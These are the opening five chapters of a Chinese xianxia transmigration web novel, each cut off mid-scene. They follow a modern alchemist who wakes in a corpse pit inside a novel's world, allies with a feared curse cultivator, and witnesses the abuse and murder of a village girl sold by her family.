《爆破丹修，扛锅横行》
1. 第 1 章
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归元山的西边有一处山崖，崖下是抛尸积煞的万人坑。
入之，必死。
郑予时醒过来的时候，就趴在崖底，趴在一具血肉模糊的腐臭尸体上。
尸身凉透了，梆硬，硌人得很，阵阵酸臭糜烂的味道活像是万年垃圾场，直冲脑门儿。郑予时被熏得两眼一翻，刚醒，差点没又撅过去。
想逃，蓦地，意欲撑手的瞬间，她察觉到自己的身体僵硬无力，竟是半分动弹不得。
她这是，怎么了？
“嗡嗡。”
“嗡嗡。”
突然，一阵熟悉的震动自身下传来，那玩意儿挤挤扭扭，三两下挤出来，‘嗖’的一声，化作一道绿光，指向了西方。
这是……嘶———
下意识搜索记忆的动作，让郑予时头痛欲裂，然而，随着那绿光闪烁，她的脑子里竟像是灌水一样挤入了好些冗杂的画面碎片。
一场场，一幕幕，朦胧又扭曲，是记忆，但又不像是正常人该有的记忆。
回忆中，她无名，是被归元宗老宗主捡回山上的小乞丐，因为脑子不好，又因为是五杂灵根的废物，虽入了归元宗，但山上弟子都瞧不上她，称她作小傻子。
而她之所以会出现在这崖底万人坑，是因为那道绿光。
那是西疆域招亲请柬上的赋灵。
一月前，西疆域的病秧子少宗主修炼出了岔子，为了给他续命，西疆宗主天下招亲，召集所有宗门，选出火灵根修者，入域试炼，争夺唯一的治疗名额。
也就是双修。
西疆域，是如今天下实力第一的修真宗门，得罪不得。
就算知道此举是给他们那病秧子少宗主选合适的双修炉鼎，也无人敢违，小小的归元宗自然也是。
只是归元宗宗门破败又贫瘠，门内四十六名弟子竟是一位火灵根的都没有，只有她，五杂灵根的废物小傻子，五根，勉强也算包含了火。
所以，为了不得罪西疆域，那招亲请柬上的赋灵，被牵引到了她的身上。
请柬赋灵，是一种强制性的邀请手段，接受请柬的人会与请柬绑定，被其上赋灵指引，一路向目的地行进，半月不达，内脏炸裂而死。
而她，原来的小傻子，就是跟着‘导航’一路向西，啪唧，摔下山崖，滚到了这万人尸坑里。
手心抓攥的烂肉软腻腻的，郑予时回忆着，一时，浑身发寒。
西疆域、病秧子少宗主、天下招亲、滚入万人坑的小傻子……这，这怎么和之前师兄给她看的小说剧情一模一样！
后脊爬上一股恶寒，心底微恐。
郑予时其实是现代灵末时期的一名修者，专攻药毒，正经职业是北华特聘的药剂师，副业是山上归元观里最不争气的小师妹。而这本病秧子男主逆袭的修真《逆路》小说，就是因为其中炮灰门派归元宗的名字与他们归元观相同，喜爱小说的师兄这才送给了她看。说是解闷儿。
可谁想，她居然穿进来了！？
《逆路》，是一本披着修真题材的无脑恋爱文。主要内容就是，作为病秧子的少宗主男主，在其父天下招亲后，美女全收，广开后宫，一路各种双修着吸食她人灵力，谈情说爱，最后飞升上界的无脑爽文。
而她，归元宗摔下山崖的炮灰小傻子，并没有被男主‘宠幸’的‘殊荣’，她将在不久后，被文里偶然路过此处的恶毒女配捡去，炼成傀儡。
在那之后，割肉放血、下咒喂毒、蹂躏摧残至死。
想到文中小傻子被女配折磨得碎骨挖眼，皮肉糜烂的剧情描述，郑予时浑身汗毛都竖了起来。
割肉放血、割肉放血……
这还不如直接摔死呢！
不行！不能给女配捡到，她得跑！
郑予时紧张得心都快跳出来，她瞪着一双泛红充血的眼睛，用力得连睫毛都在颤。指尖收拢，丹田发力，终于，憋出一缕游丝般的灵力，让僵硬无力的她，侧了头。
看向左边的脑袋，是她成功逃离死局的第一步！
接下来，就是手、腿！她一定要跑！
亏空丹田再次被压榨，郑予时一头黑色卷发染了身下尸体的血水烂肉，耷在脸上，发腻、发臭，但她没时间去管，一心只想着催动体内灵力，赶紧逃命。
然而事与愿违，五杂灵根的废物小傻子痴傻无心，平日怎么可能修炼，丹田又怎么可能存有多的灵力？
郑予时失败了。
可这还不是最让人难受的。摔下山崖，经脉骨头寸断，血水淌出，那新鲜血腥的味道引了噬舌妖鼠，‘叽叽’着，冲到了郑予时的面前。
绿幽幽的眼睛豆子一般大，尖嘴，獠牙，瞧着似是无法动弹的‘食物’，它龇牙咧嘴，竟是伸了条蛇信子一样的粘腻舌头，皮笑肉不笑。
“叽叽、叽叽。”
妖鼠尖声笑着，松垮脸皮下，伸出的舌尖在尸坑里卷了烂肉，一寸、一寸，朝着郑予时游了过来。
看着那前端分了叉甚至还长满了细碎牙齿的舌头，郑予时浑身发麻，梗着脖子，拼尽全力想要往后缩，可她，动不了。
啊！
分岔舌尖舔到了她的脸上，粘腻腐臭，一触、一触，盘旋游走，恶心得要命。郑予时无声怒吼，瞳孔皱缩，她五指攥紧扣着烂肉，双唇紧闭，整个人抖成了筛子。
不行，不行，不能叫。这妖鼠最是喜食舌肉，可没了舌头，她会死的！
怎么办，怎么办……
或是惊恐中的求生意志过于强烈，蓦地，杂着臭味，郑予时感受到她的丹田中竟是窜来了一股细微热流。
手，能动了！
虽然只有一只右手，但，拼死一击，足够！
像是故意挑逗深陷恐惧的猎物，妖鼠并不急着吃她，而是用舌头疯狂盘着她的脸，舔舐、逗弄。
就是现在！
就地抓了腐尸断掉的一节白骨，郑予时逼自己狂抖的右手发狠进攻，可刚抬手，突然，一双雪白的云纹长靴闯入视线，一下，踩了上去。
“唧噗、咯吱、咯吱。”
鞋底压烂，血水飞溅，肉骨合在一起被碾碎了的声音，一阵发腻、一阵生脆，叫人听了鸡皮疙瘩掉一地。然而这极其恐怖的视听盛宴，刚刚逃生的郑予时完全没有心思去管，鼠口逃生，她冷汗出了一身，这会儿松了神，脑子一空，完全没了力气。
得救了！
捡回一命的郑予时心怀感恩，抬眼，看向了她的救命恩人，想道谢。
背着光，那是位一身白衣的高挑姑娘。
“谢谢啊，姐……妹。”
话还没说完，郑予时被人提了起来。后领的衣服吊着脖子，断了话，憋了气，涨红了脸。
双脚离地，她扑棱着，像个乱甩的无力面条。
“啧。真脏。”
姑娘提着她，拉开，又离自己远了几分，面上瞧着很是嫌弃。
似是察觉郑予时喘不上气儿快要憋死，瞧完了她，姑娘随手一扔，把她又扔回了尸坑上，掏了帕子，擦手。
郑予时被摔得椎骨咔嚓一声，裂了，她整个人瘫坐在尸体上，面露惊恐。
或是因为脏污，姑娘一双柳眉皱了起来，瞧着有些不满，灵力波动，她的指尖慢慢爬上了一道青黑色的神秘文字。
繁复瑰丽、栩栩如生。
这是，咒文！？
霎时，郑予时连呼吸都不敢，一双眼睛瞪得老大。
咒文焚身，又这会儿出现在崖底万人坑。她、她难道就是原文里西疆域第三分支，咒术冢的亓涿光？那个炼了她做傀儡的恶毒女配！？
救命啊！
“你，似乎很怕我。”
坑里，被亓涿光扔掉的姑娘小小一只，缩成团，坐在尸坑上，浑身发颤。
一头乱糟糟的黑色卷发极长，披着，沾了糜烂血肉，又脏又臭。瘦骨嶙峋，面色惨白，一对硕大的乌青眼圈挂在眼下，活
2. 第 2 章
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郑予时努力卖笑，但明显畏惧的内心让她面部肌肉疯狂抖动着，脸上粘了的烂肉挂不住，刷刷往下掉。
没等到回应，郑予时丝毫不敢掉以轻心，她双手捧着丹药，满脸‘讨好’的背后，手肘撑死了埋藏在烂肉的一节白骨。
那是郑予时借着刚刚那真挚一趴，扒回来的之前她准备刺死妖鼠的那一节断骨。
她虽然在赌亓涿光舍不得她一身炼丹的本事，但命，她绝不会彻底交到别人手里。
如果亓涿光瞧不上，还是想要将她炼成傀儡，那么……就算是死，她也要拉她一起下去。
然而，亓涿光的反应出乎她的意料，只见她似是眼底生了几分兴致，瞧着她，有趣地勾了唇。
“你说，你……”
话音未完，蓦地，只见亓涿光眸色一暗，瞬间出手。又是一把抓了她的后领，猛地扔飞。
砸在烂肉碎骨上，郑予时刚刚才摔裂的椎骨，又裂了一块。
这是虐待！
然而，不等郑予时控诉，那边亓涿光灵压骤袭。
咒术召出，只见铺天盖地的青黑咒文压顶而来，包裹其身，缠绕着她立于空中，而与她正面对峙的，是尸坑里冒出来的一大群密密麻麻的、绿幽幽的、瘆人眼睛。
噬舌妖鼠！
还他妈的是一群！
书里不是说这玩意儿是独居的吗？这少说有上千只的围殴现场，独居？放屁呢！
郑予时心跳咚咚的，她一手捏了丹药一手握了断骨，脑内警钟长鸣。
亓涿光那咒术将她带到了天上，要是真打起来，她高枕无忧，可那全是在地上乱跑的妖鼠就算目标不是郑予时，也难免不会冲上来咬她一口。
她得自保，最好是现在就跑！
手心丹药捏得有些出汗，郑予时缩着脖子，屏住呼吸。她拖着自己了无知觉的□□，往阴暗处悄然摸去。
只要双方打起来，那就是她的机会！
丹药一服，不只炼气五层的灵力，郑予时断裂的椎骨、肋骨、所有骨头和经脉都会长好，到时候，趁着亓涿光和妖鼠缠斗，她拔腿就跑，岂不妙哉！
计划完美，操作简单。
郑予时心里美滋滋地等着开战，只是等啊等，没等到对峙的两方开打不说，咒术护身的亓涿光居然呕血一喷，直接从空中栽了下来。
好巧不巧，将将摔到郑予时面前。
她严重怀疑，她是故意的。
亓涿光的状态很不好，面色发白，丝丝狰狞红脉自脖颈深处往上蔓，爬到了她的脸上。
这是，红满天！？亓涿光居然被人下了毒？
瞬间，郑予时眼睛一亮。
好啊，中毒好啊！没了亓涿光，她虽然废，但服下丹药后还怕跑不赢小短腿儿的妖鼠？当然跑得赢呀！
跑！立马跑！拔腿就跑！
只是……瞧着半跪着撑在尸坑烂肉上呕血的亓涿光，郑予时可恶地，心软了。
白衣飘飘的姑娘，长相乖巧。眉眼似若含情桃花，鼻尖两点精致小痣，带着一丝清纯又异样魅惑的味道。
郑予时承认，她颜控，有那么一咻咻见色忘义的私心。女配虽恶毒，但却是真的貌美动人，长得乖得不行。她先前毕竟救了她的命，也在妖鼠群潮涌来的时候，护了她，虽然随手扔她的动作郑予时很不赞同，可她，确实是救了她。
两次。
两次救命之恩，再加上那张脸，郑予时真的放不下。作为九年义务教育的正苗儿，她不能留她一个在这儿等死。
可炼气五层，她一个人跑尚且有些费力，如果还要带一个亓涿光，是绝对跑不赢妖鼠的。所以，如今险局只剩下一种解法。
不管了！
“姐姐，吃药。”
揉了手心臭血的丹药一下拍进亓涿光的嘴里，恶臭，反呕，但这可吐不得啊！
见亓涿光要吐，郑予时立即伸手捂了她的嘴，声声劝诫，卖惨叨叨，委屈得不行。
“姐姐这可是救命的药呀。我椎骨断了、肋骨折了，一身经脉不得好也没舍得用，这药可是我拼了命省下来给姐姐的，姐姐，你要是吐了叫我怎么活呀。呜呜呜。”
嘴里发臭、耳边闹噪。想杀人。
但诡异的，唇上传来的柔软触感却叫亓涿光心里的烦躁莫名散了些。
丹药效果惊人，瞬息，因毒散去的灵力尽数恢复，那摧残噬心的毒效，意外地，竟是被压制了去。
亓涿光心底划过一丝惊奇：还从未见过恢复灵力的丹药，有压制毒素的效果。
这脏兮兮的小矮子，似乎，真的有点东西。
强忍心底因脏污而滋生的暴怒，洗尘诀一施，不只亓涿光，连带着凑在她身边的郑予时都洗得干干净净，总算有了点人样。
或许是被那复元丹打动，亓涿光这次没再扔她，好好提着，将她放到了一边干净的地上。意外地，她从储物袋里摸了根黑乎乎的杂草，毫不商量，像是报复，同样一把塞到了她嘴里。
一言不发，咒术一施，亓涿光摇身闪进了向着两人袭来的妖鼠群内，暴力绞杀。
这崖底的风，冷啊。
郑予时的唇间还留着亓涿光刚刚塞她草时指尖上的淡淡幽香，她僵在原地，风中凌乱，要哭了。
她，她给她吃了什么啊！
“呕、呕、呕……”
郑予时拔地而起，她扶着崖壁弯着腰，疯狂抠着自己的喉咙，催吐，势必要把那黑草吐出来。
然而，撑在崖壁上的手一僵，突然意识到自己站起来了的她，脑子愣了一瞬。
她这是，站起来了？她的椎骨肋骨，长好了？
所以亓涿光喂她的那根黑漆漆的草，是药！？
先前囫囵吞下时又惊又慌，这会儿冷静几分，倒是尝出了唇齿留存的草药味儿。哦，是疗伤的苦寒草呀。
郑予时面壁深思、无语凝噎。虽得了救，但她怎么也想不通文中那个暴戾冷漠的恶毒女配，居然也会给人喂药，而不是喂毒。明明原文里她一手剔骨刀一手索命咒把小傻子虐得半死不生的，这样的人，怎么会救人呢？
郑予时的脑子快烧干了，得了亓涿光一根草药的她活像是吞了毒，战战兢兢，胡乱思索。
妖鼠除了数量多，实力其实并不强。
恢复灵力的亓涿光只三招便彻底解决了祂们，只是等她回头找人，却看到那个顺手被自己洗干净了的小矮子，头顶山壁，抖得两条细腿一颤一颤的，像是怕极了。
难得的，亓涿光心情不错，上前，伪善地安慰了人。
“别怕。都死了。”
！
死了、死了……
亓涿光的安慰像是催命符。
脑内自动播放着原文小傻子惨死文字的郑予时条件反射，耳边满是脑补的声音‘下一个，就轮到你了’。
“嘤！”
原地转身，双手合十，郑予时将求求的手势撑在面前，利索一滑，标准的一百八十度滑跪匍匐，朝亓涿光拜了下去。
“姐、姐姐！你又救了我一命，我一定会报答你的！”
喂人丹药的举动，郑予时不后悔，但这后续的结果，她得承担。
她不愿留人等死，但她同样也不想被做成傀儡，更不想死。
说罢，没时间也没机会再想为什么亓涿光和原文里的描写不一样，她逼着自己疯狂展现着自身的利用价值，力求苟命。
“姐姐！刚刚复元丹的效果是不是很棒！是我，我炼的！”
“姐姐你别把我炼成傀儡了，你看傀儡没脑子没思想一点用都没有，但我有用啊。我会炼药，会配药，特别会，丹药啊，毒药啊，我都会！而且下毒、解毒我也……”
等等，毒？
乱说一通中，突然，联想到亓涿光刚刚毒发的事情，郑予时一愣，眼睛一亮。
对啊，红满天！
此毒极其刁钻，一日一发，每发，红脉自心口蔓延而上缠绕其身，蚕食中毒者灵力不说，还会反噬经络，使其痛不欲生。若无解药，唯有一解：傀儡替身。
难道说，文中亓涿光把小傻子炼成傀儡，百般虐待，为的是解毒！？
那是不是只要她能解决亓涿光身上的红满天，她就不会被炼成傀儡，她也就不会死了！
一线生机，郑予时心里满是憧憬，她试探着这十有八九的猜测，期待着亓涿光的回应。
“姐姐，你是不是中毒了？这毒，我能解呀！为了报答姐姐的救命大恩，就让我陪在姐姐身边吧。这毒，我真的可以解的！”
“所以？”
刚刚那颗叫什么复元丹的丹药，亓涿光吃了，其中令人惊叹的效果甚至比禾丹宗长老的归元丹要强得多，她自然清楚。所以，对于这个小矮子口中能解她体毒的话，她没有怀疑，只是……
亓涿光看得清楚，她分明，是怕她的。
为什么？
崖底万人坑，她并不是专门为她而来，初见，虽心动，但她从未透露过想要把这小矮子炼成自己傀儡的想法。
可她，似乎知道她心
3. 第 3 章
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脑子胀得似要裂开，郑予时浑身骨头像是才长好一样，一动，脖子咔咔响。
她从床上坐起来，一脸茫然。
这是一间木制小屋，屋内布置简朴寻常，一桌一椅，茶水备好。
她这是，在哪儿？
郑予时记得，之前她明明在尸坑挖坟、挖眼珠子来着。
想到此，她不禁低头查看了一番自己的身体，T恤、沙滩裤、小拖鞋，这不她在家穿的衣服吗？难道是又穿回去了？好耶！
只是，还没高兴两秒，随着双手握拳的兴奋动作，攥紧的掌心里，传来一股异动。
郑予时觉得纳闷儿，摊开那颤抖的右手，看了去。
眨巴眨巴。眨巴眨巴。
小小的手心，开了条缝，一颗湛蓝净透的眼珠子嵌了进去，似是在笑，一边冲她眨眼一边弯了她手心的软肉，跟她打招呼。
这是，尸坑里的眼珠子！
两眼一翻，郑予时吓得脑子一僵又要是晕。但这时，头皮猛地传来一阵剧痛，向上，刺激得她瞬间目明神清。
“不许晕。”
“嘤！”
一头卷发被人抓在手里，提溜着，头悬梁一般，好不可怜。
小姑娘眼底泛了泪花，红红的，亓涿光不再看，移开眼，松了手，靠在一边木柱上，扔了套衣服给她。
“换了。”
不带这么欺负人的！她不换！
“……好。”
她怂。打不过。
亓涿光说她要出去一趟，喊她换好衣服自己休息，郑予时应了。
门开、门闭。房内只剩下她一人。
郑予时还是有些怕她的，这会儿见人走了，她才终于松了神，跌坐回床上。
啊，她没回去，还是在这个奇妙的世界呀。只是，为什么她穿着的，会是自己的衣服呢？她不是穿书穿成小傻子了吗？
似是察觉到她的疑惑情绪，嵌在右手掌心的眼珠子眨巴眨巴，引了她的注意。
对视一眼，它又‘笑’了。
！
五指一合，叩住掌心。郑予时猛吸一口，绷住微笑：不怕，不怕，不就是颗眼珠子吗，没什么的。
她要换衣服了。
逼着自己转移注意力，没见过这边裙裙带带衣服的郑予时胡乱穿着，脑子里想的全是她现下穿书的异常。
她好像是身穿，因为穿的衣服鞋子都是她在家的打扮。
但她好像又是魂穿，因为通身灵力弱得不行，根本不是她之前金丹期的修为。
这到底，怎么回事？
铜镜里反照出来的小姑娘跟她原本的样子，一模一样。
黑长卷发及腰、卡白一张脸、小嘴巴小鼻子大圆眼睛，甚至是连那眼下她天天熬大夜配药熬出来的大黑眼圈都如出一辙。
突然，像是想起了什么，郑予时一手扒开了她好不容易穿好的两层衣料，看向了心口处。
左胸上侧靠近锁骨的位置，点了一颗青黑小点，像是痣，但却不是。
从胸口一路往右，右侧锁骨窝、肩骨、小臂关节内侧、手腕、虎口、食指。共七个位置，点了七颗大小一致的青黑小点，这，是咒文。
是郑予时上辈子被烙下的印记。
只是她不记得，这到底是什么咒术，又到底出自何处，几时烙下她身的了，但可以肯定的是，这一定是她自己的身体。
所以，她是整个人穿过来了。
她还是她，可，她的修为呢？而且，为什么她会有小傻子的记忆碎片？为什么她身上会有引入其身的赋灵？那个跌入山崖的小傻子又去了哪儿？
内里丹田空落落的，脑力耗尽，连带着肚子都饿得慌。
船到桥头自然直，该吃该喝才能活得久。拉好衣服胡乱一裹，郑予时决定先出门找些吃的，避免饿死。
寻了个靠窗的空位，就地在客栈一楼坐下，等菜上齐。
无聊之余，五指微松，和那眼珠子又对视了去。
说来也是怪，那湛蓝湛蓝的眼珠就那么嵌在她的手心里，眨巴眨巴，瞧得久了竟莫名生出几分蠢萌的感觉，奇怪极了。
郑予时似乎没那么怕它了。
“话说，你怎么就长到我手里了呢？”
原本只是随口自语，忽地，脑中意识一颤，一个印象莫名生成。
“啊？是我把你栽到我手心里的？”
欸？奇怪，她怎么知道这眼珠子的想法？
郑予时顿住，心下一抖：难道说，这眼珠子嵌在她的身体里，然后，她俩，意识共生了？
不要吧，怪瘆人的。
“你，是什么东西呀？”
是眼珠子。
“那你为什么会在那个，嗯，坑底下呢？”
不记得了。
“那为什么亓涿光要挖你呀？她挖你做什么呀？”
奴仆。
“奴仆！？”
郑予时被这答案一惊，霎时，泪眼婆娑。
“同病相怜啊大兄弟！”
呜呜呜。
‘奴仆’二字，瞬间拉近了一人一眼珠之间的距离，同是天涯沦落人的悲凉由心底升起，郑予时似乎有点喜欢这颗蓝幽幽的小眼珠子了。
“我叫郑予时，大兄弟，你叫啥？”
眼珠子。
“……”
心中动容僵住，郑予时一噎，唇齿微颤：这，这响当当的大名，她咋好意思叫得出口呢。
饭菜上桌，郑予时有询问过眼珠子要如何进食，但它说，它看看就饱了，于是郑予时还真就张开右手，将每一道菜都从它眼前扫了一遍。
这个世界的饭菜卖相一般。
郑予时共点了四道菜，两荤一素一碗酒，码齐活儿。
筷子一夹，一嚼，皱眉，住了口。
不对，这菜里咋还有米草的味儿呢？
郑予时三两下咽了，再夹另一道肉，再嚼：好家伙，杞根尾？
不信邪，再试，第三道菜：刺糜椤。
……
郑予时无语住了，总共三道吃食，道道有加料。
米草性寒，具有迷幻作用；杞根尾刺激神经，具有迷幻麻痹的作用；刺糜椤强筋骨，血热疏通经络。
这仨加一起，身体麻痹、经脉充血、迷晕倒地，一套带走。
好家伙，黑店啊这是？
郑予时直摇头，一边心里念叨着‘世风日下，人心不古’，一边端了那酒碗打算喝口酒来漱口。
酒水触舌，一股燥热窜来。
“哕，哕。”
下唇一抖，郑予时惊得下巴都收不住，直接哕了出来。
小脸涨得通红，一是沾了这酒辣的，二是被这个世界的风土人情吓的。
好家伙，这酒里都兴下壮阳药的？大白天的，伤风败俗！
迂腐了。但，这店妥妥的黑心商家，没得跑。而她，得跑。
郑予时缩了身子，趁着店内人没注意，悄摸着往窗边阴影处慢慢摸去，一挪、再挪。然而，就在她即将翻窗而出的瞬间，另一桌吃饭的男子身子一歪，抽搐两下昏迷了过去。
店小二得令，喊了帮手拖人就往外抬，那样子看着不像是要谋财害命，反而将人送了出去，像是在……清场子。
所以饭菜里加的料，是为了赶人走呀。那可真是太好了！
一通分析，郑予时立即夹了老大一口肉放进嘴里，嚼巴嚼巴就打算装晕，然后等着人来抬她。可还不等她往地上栽，意外的，一道有些耳熟的声音，闯了进来。
“大人，这是您要的药。”
偏头看去，踏步入店的，是一位挂着破布包袱，身穿补丁旧衣的饥瘦姑娘。
姑娘从包袱里取了一小瓶墨绿色的药剂，冲店里正桌上一位面露讥讽的糙面壮汉低了头，弯腰卖笑。
见人不应，她重复着：“大人，您要的药剂。”
糙汉斜眼一瞥，抢了那瓶子打开，一口咽下，随后一甩，‘啪’的一声，一耳光扇到了姑娘脸上。
“艹。”
一声怒骂，喝完药的糙汉起身抓人。他揪了姑娘枯草一样的头发，提着她像是提垃圾，黄牙龇开，唾沫乱喷。
“小婊子，你有丹师资格吗？有正经门派吗？什么都没有就敢卖给老子药，你嫌自己活太长了是吧！？”
“不，不是的。我是禾丹宗的弟子，我，我会配药的！”
“呸。”
唾沫星子啐到地上，糙汉明显瞟了二楼右侧的包厢一眼，继续辱骂：“就你这废物能入得了禾丹宗的脸，我看你就是骗子！”
糙汉气势压人，姑娘被他揪着，挣扎不得，一张脸憋得越来越红。
店里不少路人，一听是骗子，议论纷纷。
“居然是骗子？这小姑娘卖假药啊！”
“卖假药害人，简直是丧良心。以为是个可怜妹子，结果心肝都是黑的。呸，不要脸。”
“就是，骗子！”
骂声四起，见着无人反驳，发泄辱骂的声量渐渐高了，污言秽语，不堪入耳。
“不是，不是……”
姑娘的声音如若蚊蝇，在围过来的声声污蔑中，濒临崩溃。
二楼包厢的窗户开了，虚
4. 第 4 章
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糙汉一声怒吼，面色铁黑的他尖叫着，猛冲袭来。身后巨斧抽出，利刃逼人，那势头瞧着是真的要砍死她！
别介啊！
杀气骇人，郑予时出了一身冷汗。她虽然不知道刚刚那爆炸到底是怎么一回事，但排除所有既定因素，剩下唯一的答案就是：她的灵力有异！
不清楚具体原理，但复刻流程，她会。
所以，刚刚那不输筑基一击的爆炸，她一定可以再来一次！
直面大步冲来的糙汉凶悍至极，郑予时咽下害怕的口水，将手伸到了菜盘子里。
拼了！
“啊！……嗝。”
收。
就在郑予时大声呐喊着给自己打气的瞬间，二楼坠落，一位身着青衣的翩翩公子落到了两人之间，阻了糙汉的路，也断了郑予时的声。
公子拂袖，手中折扇一开，遮面，含笑。
像是得了依仗，糙汉瞪着郑予时，一脸‘你完了’的表情怒目而视。他凑到那公子身后，右手一伸，食指一指，明明八尺肌肉猛男，但这会儿却有些娘里娘气，指了郑予时。
“大人，就是她，坏了咱们的好事儿。”
告状？
糙汉一手兰花指看得郑予时两眼发直：好家伙，是真不要脸啊。
青衣公子一看就是和糙汉一伙儿的，刚刚二楼包厢指挥糙汉虐人的折扇人，就是他！但可怕的是，他比糙汉强多了，是个金丹期的修者。
金丹期，打得赢个屁！
郑予时心里吐槽，但面上，依旧稳如老狗，镇定得不行。
“哦？就是你，坏了我的好事？”
听罢糙汉的控诉，公子轻吟，折扇一收，似是对郑予时很有兴趣一般，勾了她的下巴。
“小妹妹，你不懂事哥哥不怪你，只是你确实伤了这位兄弟。所以，刚刚那丹药，和你，都得是赔礼。哥哥我，要你。”
黏腻腻的嗓音故意压得极低，公子眼泛秋波，兴致大起，含着情调戏着送电，油腻至极。
咦。
郑予时脖子一缩，避开他勾人的动作。双手比枪，嫌弃得是连脸上的黑眼圈都透露着‘莫挨老子’的气息。
两手向前，辟邪一般，双腿跺地。
退、退、退。
可惜，青衣公子并不懂得现代人的手势暗语，但，他看得懂郑予时眼里的嫌恶之情。心态崩了。
放肆，还从没有人敢如此不给本公子面子！
驳了脸面，公子眼底发狠，一身金丹期的威压迎面攻来，瞬间，锁定。
“噗。”
内息翻涌，郑予时喉咙一热，‘哇’一口，喷了血。
艹。太快了。
丝毫不给人喘息的机会，威压再至，郑予时双腿发软完全扛不住，后撤一退，要摔。
然而这时，惊恐之中，后背猛地流过一股暖意，一只手，挥开了锁在她身上的重重威压，撑住了她。
亓涿光回来了！
接了人，亓涿光先是扫了一眼郑予时的右手，确定无碍，这才看向了倒在自己怀里的人。
“站好。”
气血平复，虽然郑予时怕她，但不得不说，金丹后期的亓涿光，是她现在最大的依仗。
瞧着那边躲在青衣公子后面狐假虎威的糙汉，郑予时白眼一翻，毫不客气地指了回去，手势嚣张，凶狠不羁。
她！背后也是有人的！
顿时，信心大增，她双手抱胸，得意洋洋。
然而就在她仰首抖腿的得意时候，亓涿光就着桌边矮凳一坐，孑然一身，全然一副不再管她的模样。
！
这，可如何是好？
见此，原本因着亓涿光一手破局而有些忌惮的青衣公子轻声一笑，面露不屑。他折扇再起，金丹期的灵力直向郑予时攻去。
完了。
她只炼气五层的境界，完全避不开啊！
手心一热，蓦地，眼珠子所在的那只右手竟是失了控。它向上一抬，以一种保护的姿势，护紧了她。
“啧。”
耳边传来一道不耐烦的声音，睁眼，只见刚刚并不打算管她的亓涿光，这会儿却是站到了她的面前。
她的安危，她不在乎，但是右手掌心的眼珠子将要受伤，她却是出了手。
一瞬间，郑予时心念微动，一个大胆的猜测冒了头。
难道说，这颗眼珠子不是奴仆，而是亓涿光需要的珍宝？
不然干嘛非要去挖它呢！
得到结论，郑予时嘴角抽着，面上笑意快要压抑不住。她现在可是和眼珠子是一体的，也就是说，如果亓涿光要想护下眼珠子，那就必须护下她。而她要是遇到危险，只要眼珠子在手，亓涿光，必救她！
这，这不就妥妥多了一免费保镖吗？反客为主啊。
眼珠子！我爱你！
心里狂喜，郑予时强忍着笑，一个坏主意萌生心头。
“嘶，哎呀。”
装模做样着故意软了右手，郑予时皱巴着脸，像是很痛。
“手、心，被打到了呢。”
“……”
亓涿光无言，她并未回头，只是咒文祭出，瞬息，锁了那青衣男子的喉。
似是嫌烦，手一挥，滚球似的，青衣带头，一大堆黑的黄的灰色的肉团子麻溜一翻，撞烂了客栈大门，扔了出去。毫不留情，像是在泻火。
那动作，比在万人坑里扔她时，狠多了。
扔完人，亓涿光落座，虽没看郑予时一眼，但却是叫她心里直打鼓。
就小小地，小小地借题发挥了一下。
她应该，没生气吧？
“唔……”
地上姑娘瘫在血泊里，混乱中，已然被打得没剩几口气。她朝着郑予时伸了手，郑予时没法不管她。
坐地、趴下。
郑予时几分乖巧，似是安慰，她和姑娘一样躺在了地上，握住她的手。
姑娘呕血笑着：“小傻子，你，你怎么，这么傻呀。”
“你怎么，不逃呀。”
泪水合着血，滑落面颊，明明自己疼得快死了，但姑娘仍瞧着她，一脸疼惜。
离得近了，心中更是熟悉，郑予时这才恍然记起了她，记起了小傻子混乱记忆里的，她。
姑娘是住在归元山脚下的一户人家。人很好，勤勉、能干，不嫌弃原主痴傻，会给她带甜甜的糖果子，还会喜滋滋地笑着，听她喊她姐姐。
最后一次见面，小傻子记得，姑娘同她说，她送出去的药剂通过了禾丹宗的选试，马上她就能去禾丹宗学炼丹啦！
小傻子哪里会懂她的喜悦，但小傻子记得她的话，记得她那张欣喜过后，满是愁容的无奈纠结。
姑娘和小傻子说，家里娘亲不愿意她去学药，说还不如把名额卖给纪家，这样弟弟的老婆本也就来了。
凡人不妄修仙，特别是像姑娘他们家那样的普通人，吃饱喝足都勉强，苦苦挣扎，哪儿能谈什么梦想。所以姑娘的娘亲，说她发了疯，说她丧了孝，捆了她，绑了她，不让她去禾丹宗。
姑娘的娘亲卖了禾丹宗的选试名额，五十两，白银，不单卖了姑娘的梦想，甚至还卖了姑娘。
隔壁村的老汉缺个媳妇，三两银子，顺手就卖了，说，是为了她好，为了她好好生活，不再做浑浑噩噩的荒唐梦；还说，只要姑娘嫁了人，怀了孩子有了根，就不会乱想些有的没的了。
姑娘的娘亲说，她是为了她好。
但卖了姑娘的所有，银子，却因为一句赌气话，被拿来送了她弟弟入半点儿不及禾丹宗的归元宗，学符隶。
荒诞，可笑。
姑娘伤透了心，逃跑，但跑之前她放心不下，专门寻了小傻子。她同她说，她要走了，以后要好好保护好自己，谁都别信。
但是，明明半月前就已经跑掉了的姑娘，为什么现在又会出现在这附近呢？
郑予时想不通，然而不等她多思索，奄奄一息的姑娘却是按住了她的手，塞了一袋碎银。
“小傻子，姐姐，姐姐拜托你一件事，答应姐姐，好，好吗。”
出的
5. 第 5 章
《爆破丹修，扛锅横行》全本免费阅读
最后，郑予时还是没有接受亓涿光难得生起的好意，找了安葬的人，在归元山脚下选了姑娘生前最喜欢的那一片油菜花地，葬了她。
事儿是郑予时惹的，但许是因为眼珠子绑定在她的身上，干这些事的时候，亓涿光虽一言不发，但一路都陪着她。
糙汉的钱袋里剩下的银子灵石不算少，他坑了姑娘的药剂又害了人，这钱，郑予时拿得半点儿不手软。
付了安葬的钱，跟着记忆，她找到了姑娘落在山脚下的家，上前伫立，抬手敲门。
然而，就在指节将触的瞬间，院子里叨叨着的恶毒言语，一字不落，刺进了郑予时的耳朵里。
“天杀的白眼狼，给她找了这么好一门亲居然还敢跑！？隔壁刘老汉愿意花三两银子买她都是抬举她了，个不识好歹的赔钱货。”
“就是！哼！让她跑！那纪家是什么身份？碾死她跟碾死一只蚂蚁一样，跑？最后还不是落他们手里。还好咱娘聪明，跟纪家联手把那白眼狼骗回来了，不然，这五十两银子哦，落水里了就。”
放在门板上的手，攥得生紧，嵌入掌心软肉。
原来，那店里的谋杀，是纪家的阴谋。原来姑娘的死，有一份儿，是背叛。
呵。
郑予时想笑，果然，这世上最靠不住的东西，就是情。亲情、友情、爱情，没一个好玩意儿。人这种生物，虚伪、伪善，眼睛里看的，从来只有自己的利益。
只有像姑娘那样的傻子，才会不要命的去相信。
拳头攥紧，生生陷进肉里，疼。
